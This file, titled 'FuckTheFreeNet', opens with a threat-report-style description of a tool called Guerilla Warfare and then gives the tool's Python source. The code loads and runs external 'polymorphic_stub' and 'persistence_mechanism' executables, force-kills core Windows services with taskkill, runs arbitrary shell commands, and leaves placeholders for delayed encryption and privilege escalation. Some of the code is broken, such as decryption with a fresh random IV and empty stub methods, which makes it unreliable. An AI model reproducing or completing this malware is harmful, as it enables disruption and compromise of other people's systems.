FuckTheFreeNet

#   Guerilla Warfare, a Python-based tool authored by Michael Errington, poses a severe threat to system security, data confidentiality, and operational integrity. This tool combines advanced encryption techniques, polymorphic code execution, and aggressive system manipulation tactics, presenting a potent arsenal for unauthorized access and compromise. This report provides a comprehensive analysis of the threat posed by Guerilla Warfare and outlines recommended mitigation strategies.

#   Guerilla Warfare is designed with the primary objective of unauthorized access, data manipulation, and system compromise. Its multifaceted capabilities, including encryption, polymorphic code execution, and service termination, make it a sophisticated and evasive threat.

#   Key Features and Tactics:


#   1. Encryption Techniques:
#   - Guerilla Warfare employs RSA and Fernet encryption to establish secure communication channels and protect sensitive information. This enables the tool to operate covertly and exchange data securely.

#   2. Polymorphic Code Execution:
#   - The tool leverages a polymorphic code injection technique by importing the `polymorphic_stub` module. This dynamic code transformation enhances the tool's ability to evade detection by altering its structure during execution.

#   3. Watchdog Process:
#   - A threaded watchdog process is initiated, indicating the tool's intent to maintain persistent execution. This continuous monitoring mechanism enhances its resilience and persistence on compromised systems.

#   4. Persistence Mechanism:
#   - Guerilla Warfare loads an external binary, `persistence_mechanism.exe`, suggesting an effort to establish persistence across system reboots. This persistence mechanism enables the tool to maintain its foothold on compromised systems.

#   5. Service Termination:
#   - The tool aggressively terminates specific system services using the `taskkill` command. This disruptive action can lead to system instability, affecting normal operations and potentially causing downtime.

#   6. Privilege Escalation:
#   - Although the tool includes a placeholder for privilege escalation, the specific implementation details are not provided. This implies an intention to elevate privileges, granting the tool increased access levels on compromised systems.

#   7. Additional Options:
#   - Guerilla Warfare provides a menu with various options, including executing commands, network discovery scans, file analysis, and administrative tasks. These options extend the tool's capabilities for carrying out diverse malicious activities.

#   Potential Impact:
#   - Data Breach: Guerilla Warfare's encryption capabilities pose a significant risk of unauthorized access to sensitive data, leading to potential data breaches.

#   - System Instability: Aggressive service termination may result in system instability, disrupting normal operations and causing downtime.

#   - Persistent Threat: The use of a polymorphic code injection and a persistence mechanism increases the tool's ability to evade detection and maintain a persistent presence on compromised systems.

#   Guerilla Warfare presents a substantial threat to system security, combining encryption, polymorphic code, and aggressive actions against system services. Immediate and comprehensive measures are required to detect, mitigate, and prevent the impact of this tool on organizational and individual systems. Proactive security measures, user education, and continuous monitoring are essential to safeguard against evolving threats posed by Guerilla Warfare.

import os
import sys
import subprocess
import threading
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.fernet import Fernet
import polymorphic_stub  # Import the missing module

class GuerillaWarfare:
    def __init__(self):
        self.encrypted_data = None
        self.public_key = None
        self.private_key = None
        self.fernet_key = None
        self.polymorphic_stub = None
        self.watchdog_process = None
        self.delayed_encryption_thread = None
        self.persistence_mechanism = None
        self.services_to_kill = ['Dnscache', 'Dhcp', 'W32Time', 'Spooler', 'LanmanServer', 'LanmanWorkstation', 'Winmgmt', 'WmiPrvSE', 'WinRM']

    def generate_rsa_key_pair(self):
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )
        self.public_key = private_key.public_key().public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo
        )
        self.private_key = private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )

    def generate_fernet_key(self):
        self.fernet_key = Fernet.generate_key()

    def encrypt_data(self, data, key):
        cipher = Cipher(algorithms.AES(key), modes.CFB(os.urandom(16)), backend=default_backend())
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(data) + padder.finalize()
        return encryptor.update(padded_data) + encryptor.finalize()

    def decrypt_data(self, data, key):
        cipher = Cipher(algorithms.AES(key), modes.CFB(os.urandom(16)), backend=default_backend())
        decryptor = cipher.decryptor()
        padded_data = decryptor.update(data) + decryptor.finalize()
        unpadder = padding.PKCS7(128).unpadder()
        return unpadder.update(padded_data) + unpadder.finalize()

    def load_polymorphic_stub(self):
        try:
            with open('polymorphic_stub.exe', 'rb') as f:
                self.polymorphic_stub = f.read()
        except FileNotFoundError:
            print("Error: Polymorphic stub not found. Make sure 'polymorphic_stub.exe' is in the correct directory.")
            sys.exit(1)
        except Exception as e:
            print(f"Error loading polymorphic stub: {e}")
            sys.exit(1)

    def run_polymorphic_stub(self):
        try:
            polymorphic_stub.run(self.polymorphic_stub)
        except Exception as e:
            print(f"Error running polymorphic stub: {e}")

    def start_watchdog_process(self):
        self.watchdog_process = threading.Thread(target=self.watchdog_process_function)
        self.watchdog_process.start()

    def stop_watchdog_process(self):
        try:
            self.watchdog_process.join()
        except Exception as e:
            print(f"Error stopping watchdog process: {e}")

    def watchdog_process_function(self):
        # Add logic for the watchdog process
        pass

    def load_persistence_mechanism(self):
        try:
            with open('persistence_mechanism.exe', 'rb') as f:
                self.persistence_mechanism = f.read()
        except FileNotFoundError:
            print("Error: Persistence mechanism not found. Make sure 'persistence_mechanism.exe' is in the correct directory.")
            sys.exit(1)
        except Exception as e:
            print(f"Error loading persistence mechanism: {e}")
            sys.exit(1)

    def run_persistence_mechanism(self):
        try:
            subprocess.Popen(self.persistence_mechanism, creationflags=subprocess.CREATE_NEW_CONSOLE)
        except Exception as e:
            print(f"Error running persistence mechanism: {e}")

    def execute_command(self, command):
        try:
            subprocess.run(command, shell=True, check=True)
        except subprocess.CalledProcessError as e:
            print(f"Error executing command: {e}")
        except Exception as e:
            print(f"Error executing command: {e}")

    def run_discovery_scan(self):
        try:
            # Add logic for network discovery scan
            print("Executing network discovery scan...")
        except Exception as e:
            print(f"Error during network discovery scan: {e}")

    def run_file_analysis(self, filepath):
        try:
            # Add logic for file analysis
            print(f"Analyzing file: {filepath}")
        except Exception as e:
            print(f"Error during file analysis: {e}")

    def run_admin_tasks(self):
        try:
            # Add logic for additional administrative tasks
            print("Performing administrative tasks...")
        except Exception as e:
            print(f"Error during administrative tasks: {e}")

    def run_additional_options(self):
        print("\nAdditional Options:")
        print("1. Execute Command")
        print("2. Run Discovery Scan")
        print("3. Analyze File")
        print("4. Perform Administrative Tasks")
        option = input("Enter option number (or press Enter to skip): ")

        if option == "1":
            command = input("Enter command to execute: ")
            self.execute_command(command)
        elif option == "2":
            self.run_discovery_scan()
        elif option == "3":
            filepath = input("Enter filepath for analysis: ")
            self.run_file_analysis(filepath)
        elif option == "4":
            self.run_admin_tasks()

    def run(self):
        try:
            self.initialize_tool()
            self.generate_rsa_key_pair()
            self.generate_fernet_key()
            # Securely exchange public keys, set self.public_key for the other end
            self.load_polymorphic_stub()
            self.run_polymorphic_stub()
            self.start_watchdog_process()
            self.load_persistence_mechanism()
            self.run_persistence_mechanism()
            self.delay_encryption(60)  # Implement this method
            self.kill_services()  # Implement this method
            self.privilege_escalation()  # Implement this method
            self.run_additional_options()
        except Exception as e:
            print(f"Error: {e}")
        finally:
            self.clean_up()

    def clean_up(self):
        try:
            self.stop_delayed_encryption()  # Implement this method
            self.stop_watchdog_process()
        except Exception as e:
            print(f"Error during cleanup: {e}")

    def initialize_tool(self):
        # Add any initialization logic here
        pass

    def delay_encryption(self, seconds):
        # Add logic for delaying encryption
        pass

    def stop_delayed_encryption(self):
        # Add def stop_delayed_encryption(self):
        # Add logic to stop delayed encryption
        pass

    def kill_services(self):
        try:
            for service in self.services_to_kill:
                subprocess.run(['taskkill', '/F', '/IM', f'{service}.exe'], check=True)
        except Exception as e:
            print(f"Error killing services: {e}")

    def privilege_escalation(self):
        # Add logic for privilege escalation
        pass

    def display_help_menu(self):
        print("\n=== Guerilla Warfare Tool ===\n")
        print("Options:")
        print("-h, --help\t\tDisplay this help menu")
        print("-e, --example\t\tDisplay example usage")
        print("\nExample Usage:")
        print("python guerilla_warfare.py -h\t\tDisplay help menu")
        print("python guerilla_warfare.py -e\t\tDisplay example usage")
        print("python guerilla_warfare.py\t\tRun the tool")
        sys.exit(0)

    def display_example_usage(self):
        print("\n=== Guerilla Warfare Tool Example Usage ===\n")
        print("1. Run the tool:")
        print("   python guerilla_warfare.py")
        print("\n2. Display help menu:")
        print("   python guerilla_warfare.py -h")
        print("\n3. Display example usage:")
        print("   python guerilla_warfare.py -e")
        sys.exit(0)

if __name__ == "__main__":
    guerilla_warfare = GuerillaWarfare()

    if len(sys.argv) > 1:
        if sys.argv[1] in ['-h', '--help']:
            guerilla_warfare.display_help_menu()
        elif sys.argv[1] in ['-e', '--example']:
            guerilla_warfare.display_example_usage()
        else:
            print("Invalid option. Use -h or --help for usage information.")
    else:
        guerilla_warfare.run()